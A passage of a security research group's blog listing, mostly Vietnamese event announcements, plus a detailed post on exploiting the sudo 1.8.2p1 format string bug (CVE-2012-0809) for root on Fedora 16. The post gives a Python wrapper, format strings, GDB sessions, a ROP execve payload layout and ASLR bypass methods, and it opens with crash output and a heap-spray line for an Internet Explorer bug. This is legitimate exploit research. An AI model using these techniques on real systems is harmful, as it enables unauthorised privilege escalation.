6383a61a 8b82c4000000 mov eax,dword ptr [edx+0C4h] ds:0023:b341bf3c=????????
0:017> dd edi
0c540fa8 00410041 00410041 00410041 00410041
0c540fb8 00410041 00410041 00410041 00410041
0c540fc8 00410041 00410041 00410041 00410041
0c540fd8 00410041 00410041 00410041 00410041
0c540fe8 41418141 00410041 00410041 00410041
0c540ff8 00410041 d0d00000 ???????? ????????
0c541008 ???????? ???????? ???????? ????????
0c541018 ???????? ???????? ???????? ????????
0:017> dd ecx
00410041 b341be78 7274f8ac 18ea3e88 3c00005c
00410051 ff000000 4dffffff cbb7a93b b0487827
00410061 ebd03627 48a7a85f 3d00005c ff000000
00410071 98ffffff 9b1b1704 a14da1bb 315fec5b
00410081 74f7c784 3e00005c ff000000 f0ffffff
00410091 0d343fb3 ae43076f 1b2599a9 a86d9aad
004100a1 3f00005c ff000000 93ffffff ddca1f10
004100b1 844c01b0 ebee76ab dc391fca 4000005c

And we change edi:

img[j]["src"] = "AAAAAAAAAAAAAAAAAAAAAAAA\u5555\u5555AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u8141\u4141AAAAAAAA";}

And Boom:

eax=00000000 ebx=00000000 ecx=55555555 edx=640386e0 esi=088ccc00 edi=0c678fa8
eip=6383a618 esp=088ccbe0 ebp=088ccbf0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
MSHTML!CTreeNode::ComputeFormats+0x9f:
6383a618 8b11 mov edx,dword ptr [ecx] ds:0023:55555555=????????
0:017> u
MSHTML!CTreeNode::ComputeFormats+0x9f:
6383a618 8b11 mov edx,dword ptr [ecx]
6383a61a 8b82c4000000 mov eax,dword ptr [edx+0C4h]
6383a620 ffd0 call eax
6383a622 8b400c mov eax,dword ptr [eax+0Ch]
6383a625 57 push edi
6383a626 893e mov dword ptr [esi],edi
6383a628 894604 mov dword ptr [esi+4],eax
6383a62b 8b0f mov ecx,dword ptr [edi]

Good luck pwner :p

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Snatching The H@t

November 25, 2012 by admin · Leave a Comment 

Snacthing the H@t

Nhận lời mời từ IDG, VNSecurity đồng ý đứng ra phối hợp tổ chức cuộc thi “Snatching the h@t” như một sự kiện trong khuôn khổ hội thảo CSO Asean năm 2012 với mong muốn giới thiệu và phát triển CTF như một hình thức học tập và thể hiện khả năng lành mạnh đến cộng đồng. VNSecurity là nhóm được biết đến rộng rãi trong giới nghiên cứu an toàn thông tin thực thụ tại Việt nam và thế giới. Các thành viên chủ chốt của nhóm là những chuyên gia uy tín về an ninh thông tin trong và ngoài nước, các kết quả nghiên cứu của họ thường được vinh danh và công bố tại nhiều cuộc hội thảo uy tín trên thế giới: Blackhat, Hitb, Pacsec, Deepsec, Syscan … Đội thi đấu CLGT của VNSecurity cũng nằm trong top những đội CTF hàng đầu trên thế giới

Về cuộc thi Snatching the h@t

Cuộc thi “Snatching the h@t” năm nay sẽ bao gồm 2 vòng: vòng loại và vòng chung kết. Vòng loại được thi đấu trực tuyến thông qua mạng Internet. Các đội đứng đầu ở vòng loại sẽ được tham gia thi đấu ở vòng chung kết tại khách sạn New World ở TP HCM. Các thông tin về cuộc thi, đơn vị bảo trợ,… xin vui lòng xem tại website của IDG tại http://cso.org.vn/contest

Hiện vòng loại của cuộc thi đang diễn ra được 1/2 thời gian với hơn 100 đội tham gia. Đội PiggyBird đến từ Hà Nội đang tạm dẫn đầu với 1800 điểm. Vòng loại dự kiến sẽ kết thúc vào lúc 09 giờ sáng thứ 2 26/11/2012, kéo dài thêm 12 tiếng so với dự kiến ban đầu do hệ thống website thi đấu bị tấn công DDoS và cần thời gian khắc phục.

Thông tin cần biết:

Về hình thức thi đấu CTF

CTF – Môn thể thao trí tuệ của giới hacker!

CTF (Capture the Flag) là một cuộc thi kiến thức chuyên sâu về bảo mật máy tính, được tổ chức theo mô hình trò chơi chiến tranh mạng, tập trung vào hai kỹ năng tấn công và phòng thủ mạng máy tính của người chơi. Các đội tham gia CTF sẽ được cấp một máy chủ (hoặc một mạng máy chủ) đã cài đặt sẵn nhiều chương trình chứa các lỗ hổng bảo mật. Nhiệm vụ của đội chơi là tìm ra các lỗ hổng đó, tấn công các máy chủ của các đội khác để ghi điểm, đồng thời phải nhanh chóng vá các lỗ hổng trên máy chủ của đội nhà, để tránh bị tấn công bởi các đội khác.

CTF hấp dẫn và thu hút giới hacker bởi lẽ các cuộc thi này phản ánh rất chân thật công việc hàng ngày và đòi hỏi người chơi phải có các kỹ năng của một hacker thực thụ. Muốn chiến thắng ở một cuộc thi CTF, người chơi không chỉ phải nhuần nhuyễn các kỹ năng phát hiện và khai thác lỗ hổng bảo mật, mà còn phải thật sự lành nghề trong việc bảo vệ sự an toàn và duy trì tính liên tục của hệ thống mạng trước các đợt tấn công dồn dập từ bên ngoài.

Với cường độ và áp lực rất cao, cho nên mặc dù thể lệ CTF thường cho phép cá nhân tham gia nhưng chiến thắng thường thuộc về các đội có nhiều thành viên có trình độ cao và có khả năng “phối hợp tác chiến” hiệu quả.

Các cuộc thi CTF ngày nay thường chia thành 3 hình thức chơi chính:

  • Tấn công & phòng thủ (attack & defence) như luật chơi cổ điển ban đầu.
  • Hình thức thứ 2 là trả lời thử thách theo từng chủ đề (Jeopardy-style). Hình thức này thông thường sẽ chia theo chủ đề được phân theo các phân mục như : Web, Forensic, Crypto, Binary, Pwnable… Ở mỗi phân mục sẽ có các câu hỏi theo độ khó tăng dần.
  • Hình thức thứ 3 là sự kết hợp của hình thức 1 và 2, chẳng hạn như kết hợp giữa hình thức chỉ có tấn công (attack only) với các dạng thử thách khác nhau. Đây cũng chính là hình thức của cuộc thi Snatching the h@t năm nay.

Việc tham gia thi đấu các kỳ CTF cũng là dịp để giúp học hỏi thêm nhiều kinh nghiệm và kiến thức bổ ích. Lịch sử CTF đã ghi nhận sự tham gia của rất nhiều hacker trẻ mà sau này đã trở thành những chuyên gia bảo mật tên tuổi trên thế giới.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Exploiting Sudo format string vunerability

February 16, 2012 by longld · 7 Comments 

In this post we will show how to exploit format string vulnerability in sudo 1.8 that reliably bypasses FORTIFY_SOURCE, ASLR, NX and Full RELRO protections. Our test environment is Fedora 16 which is shipped with a vulnerable sudo version (sudo-1.8.2p1).

The vulnerability

Vulnerability detail can be found in CVE-2012-0809. In summary, executing sudo in debug mode with crafted argv[0] will trigger the format string bug. E.g:

$ ln -s /usr/bin/sudo ./%n
$ ./%n -D9

The exploit

Though above format string vulnerability is straight, it is not easy to exploit on modern Linux distributions. sudo binary in Fedora 16 comes with:

In order to exploit format string bug we have to bypass all above protections, but thanks to this local bug, we can disable ASLR easily with resources limit trick (another notes, prelink is enabled on Fedora 16 so it also disable ASLR from local exploits). As a consequence, NX can be defeated with return-to-libc/ROP with known addresses. The most difficult part is bypassing FORTIFY_SOURCE.

Bypassing FORTIFY_SOURCE

We just follow “A Eulogy for Format Strings” article from Phrack #67 by Captain Planet wit very detail steps to bypass FORTIFY_SOURCE. In summary, there is an integer overflow bug in FORTIFY_SOURCE patch, by exploiting this we can turn off _IO_FLAGS2_FORTIFY bit in file stream and use “%n” operation from a writable address. Following steps will be done:

  1. Set nargs to a big value so (nargs * 4) will be truncated to a small integer value, the perfect value is nargs = 0×40000000, so nargs * 4 = 0. The format string to achieve this looks like: “%*1073741824$”
  2. Turn off _IO_FLAGS2_FORTIFY on stderr file stream
  3. Reset nargs = 0 to bypass check loop

Let examine #2 and #3 in detail. We create a wrapper (sudo-exploit.py) then fire a GDB session:

#!/usr/bin/env python
import os
import sys

def exploit(vuln):
    fmtstring = "%*123$ %*456$ %1073741824$"
    args = [fmtstring, "-D9"]
    env = os.environ
    os.execve(vuln, args, env)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        usage()
    else:
        exploit(sys.argv[1])
# ulimit -s unlimited
# gdb -q /usr/bin/sudo
Reading symbols from /usr/bin/sudo...Reading symbols from /usr/lib/debug/usr/bin/sudo.debug...done.
done.
gdb$ set exec-wrapper ./sudo-exploit.py
gdb$ run
process 2149 is executing new program: /usr/bin/sudo
*** invalid %N$ use detected ***

Program received signal SIGABRT, Aborted.
gdb$ bt
#0  0x40038416 in ?? ()
#1  0x400bc98f in __GI_raise (sig=0x6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:64
#2  0x400be2d5 in __GI_abort () at abort.c:91
#3  0x400fbe3a in __libc_message (do_abort=0x1, fmt=0x401f3dea "%s") at ../sysdeps/unix/sysv/linux/libc_fatal.c:198
#4  0x400fbf64 in __GI___libc_fatal (message=0x401f5a6c "*** invalid %N$ use detected ***\n") at ../sysdeps/unix/sysv/linux/libc_fatal.c:209
#5  0x400d1df5 in _IO_vfprintf_internal (s=0xbff42498, format=<optimized out>, ap=0xbff42b78  <incomplete sequence \340>) at vfprintf.c:1771
#6  0x400d566b in buffered_vfprintf (s=0x40234920, format=<optimized out>, args=<optimized out>) at vfprintf.c:2207
#7  0x400d0cad in _IO_vfprintf_internal (s=0x40234920, format=0x4023b958 "%*123$ %*456$ %1073741824$: settings: %s=%s\n", ap=0xbff42b78  <incomplete sequence \340>) at vfprintf.c:1256
#8  0x401958a1 in ___vfprintf_chk (fp=0x40234920, flag=0x1, format=0x4023b958 "%*123$ %*456$ %1073741824$: settings: %s=%s\n", ap=0xbff42b78  <incomplete sequence \340>) at vfprintf_chk.c:35
#9  0x400094a0 in vfprintf (__ap=0xbff42b78  <incomplete sequence \340>, __fmt=<optimized out>, __stream=<optimized out>) at /usr/include/bits/stdio2.h:128
#10 sudo_debug (level=0x9, fmt=0x4000dff3 "settings: %s=%s") at ./sudo.c:1202
#11 0x400082cd in parse_args (argc=0x1, argv=0x4023b730, nargc=0xbff42d20, nargv=0xbff42d24, settingsp=0xbff42d28, env_addp=0xbff42d2c) at ./parse_args.c:413
#12 0x40002890 in main (argc=0x2, argv=0xbff42df4, envp=0xbff42e00) at ./sudo.c:203

gdb$ list vfprintf.c:1688
1683	    /* Fill in the types of all the arguments.  */
1684	    for (cnt = 0; cnt < nspecs; ++cnt)
1685	      {
1686		/* If the width is determined by an argument this is an int.  */
1687		if (specs[cnt].width_arg != -1)
1688		  args_type[specs[cnt].width_arg] = PA_INT;
1689
1690		/* If the precision is determined by an argument this is an int.  */
1691		if (specs[cnt].prec_arg != -1)
1692		  args_type[specs[cnt].prec_arg] = PA_INT;
gdb$ break vfprintf.c:1688
Breakpoint 1 at 0x400d1c5b: file vfprintf.c, line 1688.

gdb$ run
process 2157 is executing new program: /usr/bin/sudo
   0x400d1c53 <_IO_vfprintf_internal+4531>:	mov    eax,DWORD PTR [edi+0x20]
   0x400d1c56 <_IO_vfprintf_internal+4534>:	cmp    eax,0xffffffff
   0x400d1c59 <_IO_vfprintf_internal+4537>:	je     0x400d1c68 <_IO_vfprintf_internal+4552>
=> 0x400d1c5b <_IO_vfprintf_internal+4539>:	mov    edx,DWORD PTR [ebp-0x484]
   0x400d1c61 <_IO_vfprintf_internal+4545>:	mov    DWORD PTR [edx+eax*4],0x0
   0x400d1c68 <_IO_vfprintf_internal+4552>:	mov    eax,DWORD PTR [edi+0x1c]
   0x400d1c6b <_IO_vfprintf_internal+4555>:	cmp    eax,0xffffffff
   0x400d1c6e <_IO_vfprintf_internal+4558>:	je     0x400d1c7d <_IO_vfprintf_internal+4573>

Breakpoint 1, _IO_vfprintf_internal (s=0xbfe48748, format=<optimized out>, ap=0xbfe48e28  <incomplete sequence \340>) at vfprintf.c:1688
1688		  args_type[specs[cnt].width_arg] = PA_INT;

gdb$ p &s->_flags2
$1 = (_IO_FILE **) 0xbf845310
gdb$ p/d (char*)&s->_flags2 - *(int)($ebp-0x484)
$2 = 11396

gdb$ p &nargs
$3 = (size_t *) 0xbf844e74
gdb$ p/d (char*)&nargs - *(int)($ebp-0x484)
$4 = 1924

s->_flags2 and nargs is on stack with fixed relative offsets to current stack pointer, so we can adjust offsets according to relative stack addresses to fulfill #2 & #3. Let do this again and calculate correct values when we have final format string for the exploit.

Bypassing Full RELRO

We can now use “%n” primitive to write anywhere with any value, but where to write to? sudo binary is compiled with Full RELRO, this means we cannot write to GOT entry or dynamic->.fini to redirect the execution as they are read-only. The idea here is simple: we try to overwrite function pointer in libc or ld-linux and hope it will be called later in program to trigger redirection. This works smoothly with sudo case.

# ln -s /usr/bin/sudo ./%x
# ulimit -s unlimited
# gdb -q ./%x
gdb$ list sudo.c:204
199	    memset(&user_details, 0, sizeof(user_details));
200	    user_info = get_user_info(&user_details);
201
202	    /* Parse command line arguments. */
203	    sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);
204	    sudo_debug(9, "sudo_mode %d", sudo_mode);
205
206	    /* Print sudo version early, in case of plugin init failure. */
207	    if (ISSET(sudo_mode, MODE_VERSION)) {
208		printf("Sudo version %s\n", PACKAGE_VERSION);

gdb$ break sudo.c:207
gdb$ run -D9
4000e036: settings: 9=en_US.UTF-8
4000e0bc: settings: %x=en_US.UTF-8
4000e0c5: settings: true=en_US.UTF-8
4000e0fc: settings: 10.0.2.15/255.255.255.0 fe80::a00:27ff:fe9e:e68c/ffff:ffff:ffff:ffff::=en_US.UTF-8
a0001: sudo_mode -1078177084
Breakpoint 1, main (argc=0x2, argv=0xbfbc5394, envp=0xbfbc53a0) at ./sudo.c:207
207	    if (ISSET(sudo_mode, MODE_VERSION)) {

gdb$ vmmap libc
Start	End	Perm	Name
0x400a8000 0x4024d000 r-xp /lib/libc-2.14.90.so
0x4024d000 0x4024f000 r--p /lib/libc-2.14.90.so
0x4024f000 0x40250000 rw-p /lib/libc-2.14.90.so
gdb$ x/8wx 0x4024f000
0x4024f000:	0x401da990	0x40122490	0x40121e10	0x401227a0
0x4024f010:	0x4013fc60	0x40122fb0	0x40027f20	0x401223e0
gdb$ x/8i 0x40121e10
0x40121e10 <__GI___libc_malloc>:	sub    esp,0x3c
0x40121e13 <__GI___libc_malloc+3>:	mov    DWORD PTR [esp+0x2c],ebx
0x40121e17 <__GI___libc_malloc+7>:	call   0x401db813 <__i686.get_pc_thunk.bx>
0x40121e1c <__GI___libc_malloc+12>:	add    ebx,0x12d1d8
0x40121e22 <__GI___libc_malloc+18>:	mov    DWORD PTR [esp+0x30],esi
0x40121e26 <__GI___libc_malloc+22>:	mov    esi,DWORD PTR [esp+0x40]
0x40121e2a <__GI___libc_malloc+26>:	mov    DWORD PTR [esp+0x34],edi
0x40121e2e <__GI___libc_malloc+30>:	mov    DWORD PTR [esp+0x38],ebp

gdb$ set *0x4024f008=0x41414141
gdb$ continue
Program received signal SIGSEGV, Segmentation fault.
0x400bee20 <realloc@plt+0>:	jmp    DWORD PTR [ebx+0x10]
0x400bee26 <realloc@plt+6>:	push   0x8
0x400bee2b <realloc@plt+11>:	jmp    0x400bee00
=> 0x400bee30 <malloc@plt+0>:	jmp    DWORD PTR [ebx+0x14]
0x400bee36 <malloc@plt+6>:	push   0x10
0x400bee3b <malloc@plt+11>:	jmp    0x400bee00
0x400bee40 <memalign@plt+0>:	jmp    DWORD PTR [ebx+0x18]
0x400bee46 <memalign@plt+6>:	push   0x18
0x400bee30 in malloc@plt () from /lib/libc.so.6
gdb$ x/x $ebx+0x14
0x4024f008:	0x41414141

Bypassing NX

The last part of our exploit is bypassing NX and this can be done via libc ROP gadgets as its address now is fixed. We spray the environment with target payload and use a stack pivot gadget (add esp, 0xNNN) to jump to it. Out payload will look like:

[ ROP NOPs | setuid, execve, 0, &/bin/sh, nullptr, nullptr ]

Or we can use another simple version to avoid NULL byte:

[ ROP NOPs | execve, exit, &./custom_shell, nullptr, nullptr ]

Where “./custom_shell” is an available string in libc (e.g: “./0123456789:;<=>?”)

Exploit code

To not spoil the fun of people who may want to try it, I will post it later :)

Further notes

FORTIFY_SOURCE on x86_x64

The technique we use here to bypass FORTIFY_SOURCE failed work on x86_64 as we can not find a nargs value (32-bit) that satisfies: (nargs * 4) is truncated to a small 64-bit value. I hope someone will find new ways to bypass it on x86_64.

Reliability of exploit

Though we disable ASLR, stack address is not affected and sometimes there is a gap between current stack pointer and our payload in environment and we may fail to perform stack pivoting. In order to achieve reliability, we have to spray the environment carefully. Update: 65K environment is enough for 100% reliability on Fedora (thanks to brainsmoke)

Update: exploit on grsecurity/PaX-enabled kernel

Our exploit on Fedora16 with vanilla kernel relies on a single address: libc base address. With PaX’s ASLR implementation we have to bruteforce for 20-bits and this is definitely hard with proper ASLR. Though “ulimit -s unlimited” has no real effect on grsecurity/PaX-enabled kernel, it can help to reduce 4-bits entropy of library addresses. 16-bits bruteforcing still requires average 32K+ runs and is hopeless with grsecurity’s bruteforce deterring (15 minutes locked out of system for a failed try).

We had to re-work to make our exploit has a chance to win ASLR. Obviously, we cannot pick any address of library or binary to overwrite, the only way now is to overwrite available addresses on stack. *Fortunately*, we can overwrite saved EIP of sudo_debug() directly as there is pointers to it on stack. Following GDB session shows that:

gdb$ backtrace
#0  sudo_debug (level=0x9, fmt=0xb772c013 "settings: %s=%s") at ./sudo.c:1192
#1  0xb77262ed in parse_args (argc=0x1, argv=0xb7734dc8, nargc=0xbfffe720, nargv=0xbfffe724, settingsp=0xbfffe728, env_addp=0xbfffe72c) at ./parse_args.c:413
#2  0xb77208b0 in main (argc=0x2, argv=0xbfffe7f4, envp=0xbfffe800) at ./sudo.c:203
gdb$ pref 0xb77262ed
Found 5 results:
0xbfffe030 --> 0xbfffe56c --> 0xb77262ed (0xb77262ed <parse_args+1837>:	mov    eax,DWORD PTR [esp+0x2c])
0xbfffe060 --> 0xbfffe56c --> 0xb77262ed (0xb77262ed <parse_args+1837>:	mov    eax,DWORD PTR [esp+0x2c])
0xbfffe0c0 --> 0xbfffe56c --> 0xb77262ed (0xb77262ed <parse_args+1837>:	mov    eax,DWORD PTR [esp+0x2c])
0xbfffe0f0 --> 0xbfffe56c --> 0xb77262ed (0xb77262ed <parse_args+1837>:	mov    eax,DWORD PTR [esp+0x2c])
0xbfffe2a0 --> 0xbfffe56c --> 0xb77262ed (0xb77262ed <parse_args+1837>:	mov    eax,DWORD PTR [esp+0x2c])

By chosing to return to near by function inside sudo binary (e.g my_execve()), we can effectively reduce the entropy down to 4-bits with a short write (%hn):

gdb$ run
gdb$ p my_execve
$1 = {int (const char *, char * const *, char * const *)} 0xb7721fe0 <my_execve>

gdb$ run
gdb$ p my_execve
$2 = {int (const char *, char * const *, char * const *)} 0xb7726fe0 <my_execve>

This is a quite good improvement, even on PaX-enabled kernel we only need few tries to get a root shell. But with grsecurity’s bruteforce deterring, I don’t know how long it will take (maybe days) as I failed to get a shell after a day. Though we have a good exploit against real ASLR, it is still far from ideal “one-shot exploit”. One-shot exploit can only be done if we are able to leak the library/binary address then (ab)use it on the fly.

In TODO part of Phrack 67 article, the author mentioned that he could not stabilize the use of copy (read+write) primitive when abusing printf(). I decided to reproduce his experiment under a new condition: stack limit is lifted with “ulimit -s unlimited”. After hundred of tries for different offsets, we can stabilize the copy, which means we successfully leak the address and abuse it on the fly. Hunting for address on stack is easy now, we can choose to pick saved EIP of sudo_debug itself or any address of libc available on stack (e.g from __vfprintf_internal function). Then we calculate the offset from there to an exec() function, copy (read+write) it to overwrite saved EIP of sudo_debug() with a format string looks like “%*123$x %456x %789$n”. By repeating the write step, we are able to create custom arguments on stack to prepare for a valid execution via exec() and achieve a one-shot pwn.

Notes

  • We rarely find pointer to save EIP of functions on stack for direct overwrite like this case
  • Direct parameter access is 12-bytes each unlike 4-bytes each in normal format string exploit. This will limit your ability to write to arbitrary pointer on stack.
  • Copy primitive uses unsigned value, so if library/binary base is mapped at high address (e.g 0xb7NNNNNN) we will fail to leak the address on the fly (it is still an open problem, hope someone can find out). With PaX’s ASLR, we are in luck as it maps library/binary start at something like 0×2NNNNNNN in the effect of “ulimit -s unlimited” (so it actually has effect :)).
Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Học viện SANS đến Việt Nam 03/2012

December 20, 2011 by suto · 1 Comment 

Những ai làm về lĩnh vực an toàn thông tin chắc đều biết đến học viện SANS như là một học viện hàng đầu thế giới về đào tạo an toàn thông tin. Học viện SANS, được thành lập từ năm 1989, đã đào tạo hơn 165,000 chuyên gia an toàn thông tin khắp nơi trên thế giới trong đó có những nhà quản lý an toàn thông tin cao cấp, chuyên gia đánh giá an ninh hay các quản trị viên hệ thống cho các tập đoàn hàng đầu thế giới hay các cơ quan an ninh chính phủ. Học viện SANS còn có một hệ thống tài liệu nghiên cứu khổng lồ về an toàn thông tin và điều hành trung tâm cảnh báo an ninh Internet.

Các chứng chỉ an toàn thông tin của học viện SANS được công nhận trên toàn thế giới và luôn được đánh giá là chứng chỉ hàng đầu về an toàn thông tin. Thông thường các khóa học của học viện SANS hàng năm diễn ra ở Mỹ, Châu Âu và một vài nước Châu Á. Việc học và thi chứng chỉ của SANS nói riêng hay các chứng chỉ quốc tế khác thường mất khá nhiều thời gian và tốn kém tại Việt nam. Như một bước khởi đầu cho việc đào tạo an toàn thông tin ở Việt nam, học viện SANS lần đầu tiên mở một khóa học SANS 560 về Kiểm Định An Toàn Thông Tin Mạng (“Network Penetration Testing and Ethical Hacking”) vào đầu năm 2012 tại thành phố Hồ Chí Minh.

Học viên sẽ được tổ chức thi chứng chỉ GIAC Penetration Tester (GIAC GPEN) tại chỗ. Đây là chứng chỉ uy tín nhất hiện nay dành cho chuyên gia an toàn thông tin trong việc kiểm định an toàn thông tin mạng.

Thời gian: Tháng 03, 2012
Địa điểm: The Fleminton Tower
182 Lê Đại Hành, Quận 11
Thành phố Hồ Chí Minh, Việt nam

Để đăng kí khóa học, xin vui lòng truy cập vào http://www.sans.org/mentor/details.php?nid=27046. SANS hiện có chương trình giảm giá cho các công ty, tổ chức về an toàn thông tin tại Việt nam cũng như các công ty đăng ký từ 02 học viên trở lên. Để có được mã giảm giá, xin vui lòng email thanh _AT_ vnsecurity.net  trước khi đăng ký.

Thông tin chi tiết hơn về khóa học có thể xem ở đây.

Thông tin tham khảo:

  1. http://force.vnsecurity.net/download/SANS-560-VN.pdf
  2. https://www.sans.org/security-training/network-penetration-testing-ethical-hacking-937-mid
  3. http://www.giac.org/certification/penetration-tester-gpen
  4. http://www.sans.org/mentor/details.php?nid=27046
Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Hội thảo Tết 2012

December 16, 2011 by admin · Leave a Comment 

Tết Nhâm Thìn 2012 năm nay, VNSECURITY phối hợp cùng HVA tổ chức một hội thảo mini, nơi diễn giả trong và ngoài nước trình bày và trao đổi về những kinh nghiệm thiết thực trong việc đảm bảo an toàn cho sản phẩm cũng như hệ thống thông tin của doanh nghiệp cũng như những nghiên cứu và phát triển mới nhất trong lĩnh vực an toàn thông tin ở Việt Nam và thế giới.

Vui lòng đăng ký tham gia và gửi bài tham luận ở http://tetcon.org.

Ngày quan trọng

  • Hạn chót gửi đề tài: 31/12/2011.
  • Ngày công bố chương trình: 3/1/2012.
  • Ngày hội thảo: 13/1/2012.

Quyền lợi diễn giả

Nếu được chọn làm diễn giả, bạn sẽ được:

  • Mời dự họp mặt tất niên của HVA.
  • Mời dự hợp mặt tất niên của VNSECURITY – CLGT.
  • Nếu bạn không ở Sài Gòn, có thể chúng tôi sẽ đài thọ vé máy bay khứ hồi và khách sạn.
Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

#4th at hack.lu CTF

September 21, 2011 by admin · Leave a Comment 

Thanks FluxFingers for the great #CTF at hack.lu!!!!

final_score

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Next Page »